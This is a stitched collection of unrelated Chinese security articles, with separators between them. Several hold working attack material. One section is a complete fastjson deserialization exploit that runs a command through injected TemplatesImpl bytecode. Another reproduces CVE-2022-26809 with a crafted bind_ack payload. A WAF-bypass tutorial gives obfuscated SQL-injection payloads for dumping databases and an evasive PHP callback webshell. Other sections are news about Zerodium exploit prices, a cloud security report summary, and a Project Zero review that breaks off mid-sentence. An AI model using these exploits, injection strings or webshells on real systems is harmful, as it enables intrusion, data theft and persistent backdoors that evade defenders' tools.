为了解决这个问题，首先我们就需要看看什么情况下不会调用resolveClass，在`java.io.ObjectInputStream#readObject0`调用中，会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
再往后，跳过一些细节过程，上面的不同case中大部分类都会最终调用`readClassDesc`去获取类的描述符，在这个过程中如果当前反序列化数据下一位仍然是`TC_CLASSDESC`那么就会在`readNonProxyDesc`中触发`resolveClass`
再回到上面这个switch分支的代码，不会调用`readClassDesc`的分支有`TC_NULL`、`TC_REFERENCE`、`TC_STRING`、`TC_LONGSTRING`、`TC_EXCEPTION`，string与null这种对我们毫无用处的，exception类型则是解决序列化终止相关，这一点可以从其描述看出
那么就只剩下了reference引用类型了
## 如何利用引用类型
现在我们就要思考，如何在JSONArray/JSONObject对象反序列化恢复对象时，让我们的恶意类成为引用类型从而绕过resolveClass的检查
答案是当向List、set、map类型中添加同样对象时即可成功利用，这里也简单提一下，这里以List为例，
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);
当我们写入对象时，会在`handles`这个哈希表中建立从对象到引用的映射
当再次写入同一对象时，在`handles`这个hash表中查到了映射
那么就会通过`writeHandle`将重复对象以引用类型写入
因此我们就可以利用这个思路构建攻击的payload了，这里简单以伪代码呈现，便于理解思路
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);
WriteObjects(arrayList);
简单梳理下
序列化时，在这里templates先加入到arrayList中，后面在JSONArray中再次序列化TemplatesImpl时，由于在`handles`这个hash表中查到了映射，后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象，之后恢复BadAttributeValueExpException对象，在恢复过程中，由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象，会触发JSONArray/JSONObject的readObject方法，将这个过程委托给`SecureObjectInputStream`，在恢复JSONArray/JSONObject中的TemplatesImpl对象时，由于此时的第二个TemplatesImpl对象是引用类型，通过readHandle恢复对象的途中不会触发resolveClass，由此实现了绕过
当然前面也提到了不仅仅是List，Set与Map类型都能成功触发引用绕过。
## 完整利用
至此fastjson全版本实现了原生反序列化利用
代码测试依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
测试代码以HashMap为例
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Y4HackJSON {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
* * * | 社区文章 |
**作者：HuanGMz@知道创宇404实验室
时间：2022年5月20日
English version: <https://paper.seebug.org/1907/>**
## 1\. 漏洞介绍
2022年4月份修复的高危漏洞 CVE-2022-26809 距今已经过去一月有余，期间除了 L1nk 师傅发了一篇关于
GetCoalescedBuffer() 漏洞函数触发条件的[分析](http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/)，再无其他消息。我这边虽然分析出了 ProcessReceivedPDU()
漏洞函数的触发逻辑，但苦于无法在默认系统上触发，也没什么进展。
直到 5月18日，corelight 上发了一篇关于 CVE-2022-26809
的漏洞利用检测[文章](https://corelight.com/blog/another-day-another-dce-rpc-rce)
，同时给出了相关的github [仓库](https://github.com/corelight/cve-2022-26809)，仓库中附带了捕捉的
漏洞触发数据包。
文章中提到 CVE-2022-26809 位于OSF_CASSOCIATION::ProcessBindAckOrNak() 函数中，这是一个 客户端解析
bind_ack 响应的函数。我和 L1nk 师傅一开始都忽视了这个函数，因为我们觉得客户端的漏洞和 ”有希望成为蠕虫漏洞“ 的描述不符，不太可能是
CVE-2022-26809。但实际上 当我们调用目标主机的 EfsRpcDecryptFileSrv() efs rpc
函数时，该函数会根据我们传入的unc路径，向我们的恶意smb服务器 的 srvsvc 端点发起bind请求。这样 服务端 也就变成了 客户端，就会调用
ProcessBindAckOrNak() 处理我们的恶意smb服务器返回的 bind_ack 数据包。现在看还是对 smb 之类的知识了解的太少。
EfsRpcDecryptFileSrv() 是 lsass.exe 进程里的，位于c681d488-d850-11d0-8c52-00c04fd90f7e
接口的一个rpc函数，你可以通过 \pipe\lsass 端点访问它。
efs 相关的rpc函数在2021年曾出过 **PetitPotam 域提权** 和 **CVE-2021-43893 域控文件写** 几个著名的漏洞。虽然
CVE-2022-26809 和 这几个漏洞原理不类似，但触发方式类似，我们完全可以复用 PetitPotam 的脚本，免去了自己写rpc 客户端的麻烦。
推荐阅读这篇文章 <https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/>，了解关于PetitPotam 的漏洞发展历史。
## 2\. 漏洞复现
### 2.1 调用 EfsRpcDecryptFileSrv() 函数
使用 ly4k 的 PetitPotam 脚本进行调用，仓库链接：<https://github.com/ly4k/PetitPotam>
需要注意的是，由于 2021年12月份的 CVE-2021-43893 的补丁，我们要给脚本里加两行代码：
在 PetitPotam.Connect 函数要加两行代码 （加在 dce.connect() 前面就行）:
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
这两行代码是为了满足新增的 EFSRPC 强化措施。
调用 PetitPotam 脚本：
python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug 'mr.wang:[email protected]' '\\192.168.33.154\srvsvc\test.txt'
192.168.33.159 是目标主机的地址， 192.168.33.154 则是我们的恶意 smb
服务器的地址。遗憾的是我必须使用账号和密码，尚不确定原始poc是如何解决smb认证的问题的。
此时如果用 Procmon 来监测 lsass.exe 进程，你会看到它尝试打开 \\\192.168.33.154\pipe\srvsvc 端点。
### 2.2 搭建恶意 smb 服务器
直接使用 impacket 的 smbserver.py 里的 SimpleSMBServer 例子：
from impacket.smbserver import SimpleSMBServer
myserver = SimpleSMBServer(listenPort=445)
myserver.start()
推荐在linux里搭建。
我们需要控制对 rpc bind 请求的响应，所以直接修改 rpcrt.py 库文件。
找到 rpcrt.py 文件里的 DCERPCServer.bind() 函数，直接注释，然后改为下面，相当于每次返回固定的 bind_ack 数据包。
d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00'
print(d)
self._clientSock.send(d)
这一串数据也就是触发漏洞的关键 payload。
### 2.3 捕捉崩溃
打开目标主机防火墙的445端口。
关闭 smb2 协议：
Set-SmbServerConfiguration -EnableSMB2Protocol $false
开启 sbm1 协议：
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
这一步不是必须的，主要是方便我们 wireshark 捕捉观察rpc数据。
使用 gflags.exe 给 lsass.exe 进程开启页堆，然后重启系统。
选一种方式调试 lsass.exe，我使用内核调试，防止卡死。
然后开启恶意smb服务器，使用脚本调用 EfsRpcDecryptFileSrv() 函数。
然后就能捕捉到异常了。
如果正常，你会在 wireshark 里看到在调用 EfsRpcDecryptFileSrv()之后，有一串的 bind 和 bind_ack 数据包：
## 3\. 漏洞分析
数据包有两个特点，frag_len 为 0x1a， ScnDry_Addr_len 为0，且数据包在这个字段截断，后面就没了。
BufferLength 即是数据包的长度 为0x1a，第一次 BufferLength - 0x1A ，结果为0，然后由于 sec_addr_length
为0，所以会进入 else 分支，0 - 0x1c 整数下溢。
后面 取 sec_addr_length地址 + 2 + 2 ，由于数据包到 sec_addr_length 结束，所以这个地址实际已经越界。
另外有一点需要注意：我们前面触发漏洞的 payload 使用的是大端字节序，但实际上使用小端字节序也能正常触发漏洞，所以和 Data
Representation 字段是否为0应该没有关系。
最后，还没有解决调用 EfsRpcDecryptFileSrv() 时的smb认证问题。擅长漏洞利用的师傅可以试一试了。
## 附：
<http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/>
<https://corelight.com/blog/another-day-another-dce-rpc-rce>
<https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/>
<https://github.com/ly4k/PetitPotam>
* * * | 社区文章 |
近日，由阿里云安全创新实验室推出的《2018上半年阿里云安全报告》中文版开启全文下载。
报告指出，今天的网络安全风险比以往任何时候都大，无论企业的服务和数据部署本地还是云上，只要有价值的数据，就会成为攻击目标。在云上，企业可以借助云服务商提供的庞大的安全资源和大数据、机器学习等专业知识来对抗威胁。
报告部分亮点观点
过去十年，绝大多数入侵行为背后的主要原因有三类：人为失误、暴露在互联网上的漏洞、公司网络或终端节点的安全方案无法及时识别恶意软件。网络入侵的主要原因并不涉及到云环境。
云部署改变了一切，但攻防之战仍和以前一样：双方之间的安全工具之战在无限升级。
利用可自适应的机器学习驱动的安全与少量人工参与相结合是未来的发展方向。
# 报告部分亮点数据
## 01.DDoS攻击
阿里云在 2018 年看到的 DDoS
攻击强度和复杂度均打破了历史记录，仅在2月份就抵御了数次Memcached攻击，峰值超过800Gbps，每秒TB级别的攻击时代已经到来。游戏、移动应用、电子商务等竞争激烈的领域成为DDoS重点攻击阵地。
当DDoS攻击变得越来越猛烈的时候，攻击防护设施很快达到其容量极限，而云防护能力的高扩展性则不存在这个问题。
阿里云通过自主开发的DDoS防护服务可以保障阿里云所有数据中心的安全，通过自动检测并将DDoS攻击牵引到远离用户网络基础设施的地方。从攻击发现、流量路由到流量清洗整个过程仅需5秒。
在《DDoS攻防：一场古老战争的“新发展”》一文中，我们对DDoS攻防的新趋势及云上DDoS最佳实践做了详细解读。
## 02.基于Web的攻击
2018 上半年，阿里云检测并阻止了五千亿次以上的 Web 攻击。平均每天有 30 亿次攻击，这些攻击来自 200 万个以上的唯一 IP 地址。阿里云
WAF 阻止的两个最流行的攻击是 XSS 和 SQL 注入。
云端WAF（而非本地WAF）可以提供针对性更强更有效的解决方案，因为云端WAF具有更好的扩展性、更经济高效并且更易于实施。
报告数据显示，基于深度学习的WAF不仅节约了人工成本，而且使用正则加深度学习双引擎的WAF的准确率提升到99.999%，这相对于仅使用正则的WAF99.99%的准确率来说是一个质的飞跃。
## 03.漏洞检测
报告显示，在过去十年中，许多最重大的数据泄露都始于安全漏洞，与本地部署相比，云部署的关键安全优势之一在于云提供商使用中央管理来确保安全系统始终保持最新，可以及时发现漏洞并进行修复。
以著名的比特币勒索事件为例，阿里云安全团队在“Eternal
Blue”漏洞公布的第一时间就完成了对受影响用户的预警并提供了修复方案，通过全球访问策略控制，确保所有用户避免受到漏洞攻击。一个月后，Wannacry勒索事件爆发未对阿里云客户产生影响。
下载报告全文了解更多精彩内容，报告获取方式：
1. 打开阿里云官网，点击底部的信任中心即可看到报告下载链接
2. 直接复制链接到浏览器：<https://security.aliyun.com/trust?spm=5176.8142029.631162.38.e9396d3e5qG0zj> | 社区文章 |
# 是的，你没看错！Android的0 day漏洞比iOS的0 day更值钱了
##### 译文声明
本文是翻译文章，文章原作者 bleepingcomputer，文章来源：bleepingcomputer.com
原文地址：<https://www.bleepingcomputer.com/news/security/zerodium-makes-android-zero-days-more-expensive-than-ios/>
译文仅供参考，具体内容表达以及含义原文为准。
就在前两天，国外漏洞交易平台Zerodium再次更新了符合条件的Android和iOS 0
day漏洞的相关报价。我们发现，在这一次更新之后，是该平台自2015年成立以来第一次Android的0 day价格超过了iOS的0 day价格。
## Zerodium简介
Zerodium是目前行业内首屈一指的漏洞收购平台，专门提供优质的0
day漏洞利用服务和先进的网络安全功能。他们喊出的口号是：“我们只支付巨额奖金，而不是普通的漏洞奖励。”自该平台成立以来，Zerodium也一直都在改进他们的漏洞奖励计划和漏洞支付金额，并不断扩充他们所支持的软件列表。
Zerodium的创始人名叫贝克拉(Chaouki
Bekrar)，在所谓的安全漏洞灰色市场中，此人大名鼎鼎。除了这家安全公司之外，他还在法国巴黎开办了一家名为Vupen的公司。这家法国公司的业务颇受争议，他们专门开发针对知名软件的攻击手段，然后将漏洞和攻击方式转让给全世界的政府情报部门。美国媒体指出，通过高价征集iOS9的漏洞，贝克拉实际上已经成为一种“黑客中间人”的角色。
## Android 0 day价格首次超iOS 0 day
此次价格更新是Zerodium通过国外社交网站Twitter发布的，Zerodium的研究人员还在Twitter上表示，iMessage和WhatsApp的
0-Click漏洞回报同样有所增加，但根据目前市场的发展趋势，iOS 的1-Click漏洞汇报将有所减少。非持久化RCE+LPE
0-Click漏洞的漏洞利用攻击向量目前已涨价到了一百五十万美金，而这种漏洞利用攻击向量的价格约为一百万美金左右。
就在前两天，Zerodium还引入了新的漏洞利用类别。Android平台的0-Click漏洞完整利用链目前的价格为二百五十万美金，而针对苹果iOS的持久化攻击技术或漏洞利用向量价值仅为五十万美金。
## 特殊的0 day漏洞奖金更高了
除了某些漏洞奖金涨价了之外，Zerodium平台同样也降低了某些漏洞的奖金，比如说针对苹果iOS的1-Click漏洞持久化完整利用链价格从之前的一百五十万美金降低到了目前的一百万美金，而针对iMessage的RCE+LPE（1-Click）非持久化漏洞利用链价格相比之前也降价了五十万美金。
Zerodium的研究人员表示：“Zerodium平台向研究人员支付的0
day漏洞金额，取决于受影响软件或系统的流行程度、安全级别，以及他们所提交的漏洞质量，其中涉及到漏洞利用链是否完整，支持的版本、系统和架构类型，漏洞利用向量的可靠性，以及是否能够绕过一些安全防护措施等等。”
该公司表示，Zerodium平台上列举出来的0
day漏洞支付金额只是参考价格，目的是为了收集到功能更加全面的漏洞利用攻击向量或代码，如果研究人员能提供更加强大的漏洞利用向量，或提交的漏洞能够满足“更高的要求”，那么我们Zerodium也愿意支付更加巨额的奖金，这一点是毋庸置疑的。
根据Zerodium平台的官方声明，Zerodium会在一个星期或是更短的时间内对研究人员提交上来的漏洞报告进行评估和验证，如果漏洞的验证结果符合Zerodium平台条件，Zerodium将会通过银行现金转账或加密货币（例如比特币或门罗币）一次性或多次分期付款的形式给研究人员支付漏洞奖金，而且第一笔付款肯定会在一周之内完成并到账。
## iOS漏洞已呈现出“通货膨胀”的趋势
Zerodium的首席执行官Chaouki
Bekrar在接受BleepingComputer的采访时表示：“在过去的几个月里，我们的研究人员发现针对iOS的漏洞利用数量有所增加，其中大部分都是针对Safari和iMessage的漏洞利用链，而且世界各地的研究人员大部分也都在针对这类漏洞利用向量在进行研究、开发和销售。目前的0
day漏洞市场上，iOS漏洞已经接近饱和，因此我们最近也在减少iOS漏洞的采集数量。从另一方面来看，谷歌和三星的安全团队一直都在致力于Android平台安全性的提升，因此Android操作系统的安全性在其每一个新版本中都得到了显著提升，这也导致针对Android平台的完整漏洞利用链开发难度变得越来越高，而且耗时也越来越长。如果攻击者想要开发出不需要任何用户点击或交互就可以利用的漏洞向量，则是更加的难上加难。”
考虑到目前漏洞市场上的这种新型环境和趋势，Zerodium决定提升Android漏洞的奖励金额，直到苹果重新将iOS系统的安全性提升到新的“层次”为止（提升iMessage和Safari这两个薄弱环节的安全性，其中涉及到Webkit和沙盒）。
当被问到WatsApp
0-Click漏洞利用奖金增长的背后有何特殊原因时，Zerodium的首席执行官表示，价格增长，当然是因为市场对WhatsApp漏洞的需求普遍增加啦！
## 市场上也有很多人希望购买高质量的0 day漏洞
在今年的五月初，该公司还在其收购漏洞列表中新增了一类新型漏洞，即“针对三星S10/S9安全引导加载程序（S-boot）的漏洞”，在这类漏洞的帮助下，攻击者可以通过物理访问设备来实现任意代码执行、安全防护绕过或非法数据访问。不过目前Zerodium只添加了针对Exynos机型的Android
9或Android 8的支持。
两个月前，Zerodium还宣布称，他们正在积极寻找并有意向购买针对VMware ESXi (vSphere)或Microsoft Hyper-V的漏洞，而相关的漏洞功能是为了实现客户主机逃逸。可靠的0
day漏洞利用向量，将允许攻击者在默认配置下的目标主机中获取完整的访问权，这类漏洞价格目前已高达五十万美金。
实际上，Zerodium目前并不是“0
day漏洞收购市场”上唯一的一家公司，比如说，Crowdfense在2018年4月份也推出了一个一千万美元的漏洞奖励计划。Crowdfense的负责人还表示：“2019年，我们还将提供一个规模更大奖金更高的漏洞收购计划，价格约为一千五百万美金，并将可支持收购的漏洞涵盖范围扩大到网络硬件设备、WiFi/基带和消息发送器等其他重要的研究领域上。此前为报告过的完整漏洞利用链价格区间目前为十万美元到三百万美元不等，其他的部分漏洞利用链收购价格将根据具体情况进行评估，并按评估比例定价收购。” | 社区文章 |
# 老司机带你过常规WAF
##### 译文声明
本文是翻译文章，文章原作者 呆哥@ChaMd5安全团队，文章来源： ChaMd5安全团队
原文地址：<http://mp.weixin.qq.com/s/Fwhnu2tWDhEmvAcvVixA5g>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近看了不少关于WAF绕过的文章，想把理论深化到实践当中去，于是就有了您正在看的这篇文章，这篇文章分为两大部分，分别写的是SQL注入相关的WAF绕过和一句话木马免杀相关的WAF绕过，本文用来做测试的WAF是安全狗（4.0最新版），在一句话木马免杀的章节也会提到一些绕过D盾的技巧。
## 0x01 绕过安全狗继续SQL注入
其实说白了，绕过WAF就是混淆你的SQL语句，让它以另一种方式呈现出来，以绕过WAF的黑名单正则表达式匹配，至于具体的混淆方法，网络上有很多的文章已经讲的够详细了，在这里我就直接进入实战环节，不在讲具体方法和原理。
测试环境：WIN10 + Apache +php5.4.45 + mysql5.5.53 + 安全狗4.0版本
测试代码（inject.php）如下：
<?php
$id = $_GET['id'];
$con = mysql_connect("localhost","root","root");
if (!$con){die('Could not connect: ' . mysql_error());}
mysql_select_db("dvwa", $con);
$query = "SELECT first_name,last_name FROM users WHERE user_id = '$id'; ";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
echo $row['0'] . " " . $row['1'];
echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
?>
首先是注入点测试：
直接上
1. ` and '1'='1`
预料之内，果然被拦截，猜测可能是关键字and被过滤，修改and为&&，urlencode后为%26%26
成功绕过安全狗。
当然了，只能判断注入点是肯定没有任何任意的，下面我们来尝试用unionselect语句来提取一下数据，直接上union
select语句肯定被拦截，我就不再截图了。
这里我们主要用的绕过方法是：
1.利用()代替空格
2.利用mysql特性/*!*/执行语句
3.利用/**/混淆代码
我给出的注入语句是：
1. `1' union/*%00*//*!50010select*/(database/**/()),(user/**/())%23`
可以看到，成功注入没有拦截
这里要注意的几点是：
1.mysql关键字中是不能插入/**/的，即se/**/lect是会报错的，但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的，其中50010为mysql版本号，只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00
同样的道理，我们可以利用上述方法爆出当前数据库的数据表：
当然，在真实环境下直接union
select数据的注入点是非常少见的，还是盲注占多数，按照上面的思路方法我们可以非常轻松的测试出绕过安全狗的盲注语句，我测试了好长时间，总结出的语句如下：
判断： 1'/**/%26%261%3d2%23
判断列数： 1' order by 2%23
关联查询爆出用户和数据库： 1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
关联查询爆出数据表： %27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23
关联查询爆出字段值： %27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23
关联查询提取数据： %27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/((users))%23
盲注爆出数据库： 1' and substr(database/**/(),1,1)%3d'1'%23
盲注爆出数据表： 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23
盲注爆出字段值： 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23
盲注提取数据： 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)%3d'1'%23
基于时间的盲注爆出数据库： 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出数据表： 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出字段值： 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注提取数据： 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23
上列的是关联查询注入、盲注、基于时间的盲注从获取数据库名一直到获取表名、字段名、数据值的所有过狗语句。
可以看到安全狗完全被Bypass：
当然了，绕过的方法还是非常多的，ske师傅提供了另一种奇葩的绕过思路：
Union -> /*!Union/*/**/
Select -> /*!/*!Select*/
Database() -> /*!database/*/**//*!/*!()*/
使用这种方法SQL语句依然可以正确执行，而且会完美过狗！
但是这里比较坑的一点是安全狗3.5版本会拦截关键字information_schema，这样利用起来就比较麻烦了，不过私神还是提供了一种方法绕过：
当mysql版本>=5.6时，可以用如下语句代替：
Select table_name from mysql.innodb_table_stats where database_name = database();
当然了，4.0版本还是非常容易绕过的！
思路总结：
1.构造利用sql语句
2.利用局部分析的方法判断被过滤的是哪些内容
3.分析过滤规则尝试绕过
## 0x02 绕过安全狗和D盾写入WebShell
对于免杀WebShell，给我最大启发的一篇文章还是phithon师傅写的一篇讲“回调后门”的文章，所谓的“回调后门”，其实就是找一个有回调函数参数的函数（似乎有点绕），具体细节在phithon师傅的这篇文章中已经讲的非常清楚了，如果有小白不理解的话，建议仔细阅读此文章链接之后再继续阅读下文。
链接如下：
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
这篇文章思路特别好而且总结的很全，唯一的问题就是这篇文章是在三年前写的，文章中提供的WebShell已经能被主流的安全工具完美查杀，因此我们需要对文章中给出的WebShell进行改进。
我随便取了一个回调后门如下：
测试了一下，被安全狗完美拦截：
安全狗很容易绕过，只要把base64_decode()这个解密函数去掉就行了：
但是D盾还是完美查杀：
尝试创建一个类并利用构造函数赋值来混淆代码：
<?php
class test{
public $e;
function __construct()
{
$this->e = $_GET['e'];
}
}
$t = new test();
$s=$_REQUEST['pass'];
$arr=array($s,'test');
uasort($arr,$t->e);
可以看到安全狗和D盾都已经查杀不出来了
当然了，这只是一种思路，我们还可以利用之前混淆SQL语法的思路来免杀webshell，即在代码中添加()和/**/
做测试的webshell如下：
混淆之后成功逃过D盾和安全狗的查杀：
注意这个代码比之前的多了一个()和一个/**/
最近在先知平台上还看到了一个用反序列化制作免杀WebShell的方法也很精巧，链接如下：
<https://xianzhi.aliyun.com/forum/topic/2202>
WebShell免杀思路总结：
1.输入点：把$_GET改为$_SERVER，或者用file_get_contents()函数以及include语句作为输入点
2.核心方法：利用有回调函数参数的函数作为代码执行的入口点
3.代码混淆：利用好()和/**/以及各种空白符，利用类的构造函数/析构函数
## 0x03 后记
切记，没有绕不过的WAF，基于正则表达式匹配的WAF都是比较容易绕过的，WAF可以当做一种缓解措施但一定不要将它作为最终的防御手段！ | 社区文章 |
**作者：Maddie Stone@Google Project Zero
译者：知道创宇404实验室翻译组
原文链接：<https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html>**
这是我们回顾在野利用 0day 漏洞的第三个年度 [[2020
年](https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html)，[2019
年](https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html)]。每年我们都会回顾所有检测到和披露的在野
0day，并综合分析其趋势和要点。本报告旨在整体分析年度漏洞利用，寻找趋势、差距，总结经验教训等等。如果你对单个漏洞利用感兴趣，可以查看我们的[分析](https://googleprojectzero.blogspot.com/p/rca.html)。
我们发布这篇分析报告是希望 0day 漏洞利用变得更有难度，希望攻击者使用 0day 所花费的成本和资源更高。2021
年的趋势也更强调了这一点如此重要。我们一遍又一遍地听到各国政府如何将记者、少数群体、政客、人权捍卫者，甚至是世界各地的安全研究人员作为目标。我们切身体会到，在安全和技术社区做出的决定会对社会和人类的生活产生真正的影响。
本文正文中将会提供我们分析结论的证据和过程，总结下一步的想法和对 2022 年的希望。
### 摘要
2021 年共检测和披露的在野 0day 漏洞有 58 个，这是自从 2014 年年中 Project Zero
团队开始跟踪以来记录到最多的一年，是之前的最高值——2015 年检测到 28 个的两倍多，2020 年我们仅检测到 25 个。自 2014
年年中以来，我们一直在[此表格](https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=0)中跟踪公开的在野利用
0day 漏洞。
虽然我们经常谈论在野 **利用** 的 0day 漏洞数量 **，** 但我们实际上讨论的是在野 **检测到和披露** 的 0day
漏洞利用数量。这也是我们的第一个结论：2021 年在野 0day 漏洞的大幅上升是由于检测和披露的增加，而不是简单的 0day 漏洞利用的增加。
通过对这些在野 0day 的分析，我们发现攻击者的方法实际上与前几年相比并没有太大变化，他们成功地使用了相同的模式和技术，并针对相同的攻击面。Project
Zero 团队的使命是“让利用 0day 变得更难”。总的来说，当攻击者无法使用公开的方法和技术来开发利用时，0day 的利用才将更加困难。而 2021
年这 58 个 0day，与以前公开已知的漏洞都很相似，只有两个 0day
脱颖而出：一个是因为其漏洞利用的技术复杂性，另一个是因为它使用逻辑错误来逃离沙箱。
因此，虽然我们认识到业界在检测和披露在野 0day 漏洞数量方面取得了进步，但我们也承认还有很多改进工作要做。 攻击者利用 0day
的事实表明了，他们能够使用先前已知的技术和方法取得成功，而不必投入开发新的技术，这对科技行业来说也是一个机会。
我们在 2021 年拥有比过去更多的数据点来了解攻击者的行为，然而，这些数据也给我们留下了更多的问题。攻击者不会分享他们正在使用的
0day，以及我们在调查中遗漏了多少 0day，因此我们永远无法确切知道这些公开披露的 0day 所占比例是多少。
根据我们对 2021 年 0day 的分析，我们希望在 2022 年看到以下进展，以继续采取措施使 0day利用变得更有难度：
1. 所有厂商都同意在其安全公告中披露漏洞的在野利用状态；
2. 漏洞利用示例或漏洞利用的详细技术描述可以更广泛的共享；
3. 继续共同努力减少内存损坏漏洞，或者使其无法被利用。启动一些缓解措施来影响内存损坏漏洞的利用。
### 在野 0day 漏洞破纪录的一年
2021 年是在野 0day 漏洞数量创纪录的一年。到底发生了什么呢？
[](https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708
"!\[\]\(https://images.seebug.org/content/images/2022/04/c5a619c1-7630-4b4f-9f5c-f4d5fb357d81.png-w331s\)")
是软件安全性越来越差？还是攻击者更多地使用了 0day 漏洞？还是我们发现和披露 0day 的能力有所提高？从 2020 年到 2021
